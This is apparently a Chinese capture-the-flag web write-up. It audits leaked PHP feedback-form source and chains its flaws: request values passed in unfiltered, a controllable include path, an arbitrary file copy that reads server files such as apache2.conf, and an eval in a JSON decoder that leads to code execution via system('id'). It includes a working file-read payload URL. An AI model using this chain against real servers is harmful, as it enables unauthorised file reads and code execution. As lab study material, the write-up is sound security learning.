条条大路通罗马系列1 web writeup
0x00 代码审计
访问/sgbmwww.zip下载源码,里面只有sgbmwww里的内容.
功能是简单的反馈,表单经过自写的jsonencode()处理然后insert入库.
include.php
定义了变量$_M['form']
第100行
$_M['form'] =array();
isset($_REQUEST['GLOBALS']) && exit('Access Error');
foreach($_COOKIE as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_POST as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_GET as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
cookie 和post,get 都是可控的.
任意包含php
在index.php
第6行include PATH_WEB . $_M['form']['class'].'.php';
$_M['form']['class']
可控可惜后缀写死了php
- 任意文件复制(实现读取)
upfile.php
第64行
if (move_uploaded_file($file_tmp, $file_name)) {
$upfileok=1;
} else if (copy($file_tmp, $file_name)) {
$upfileok=1;
}
这里$file_tmp可控,$file_name由set_savename()来控制.
如果$_M['form']['is_rename']
为0$_M['form']['name']
过滤一番然后赋值给$file_name
$_M['form']
都可控.
payload:
/index.php?class=upfile&is_rename=0&formname[tmp_name]=/etc/apache2/apache2.conf&formname[name]=xx.2333
发送以后访问 /upload/xx.2333
得到
发现并木有开放8080端口.
利用这个读取把/var/www/html/sgbmadmin/index.php
读了。
- 代码执行
sgbmadmin/index.php 第46行
$content = jsondecode($row['content']);
jsondecode()有个eval可控
通过eval来执行php代码。(配合上面的任意php include漏洞执行我们代码)
利用发现的注入插入构造的代码
base64个system('id')
出来是这样的
ps:多谢大神的指点.
本文由 scanf 创作,采用 知识共享署名4.0 国际许可协议进行许可
本站文章除注明转载/出处外,均为本站原创或翻译,转载前请务必署名
最后编辑时间为: Jan 2, 2017 at 12:20 am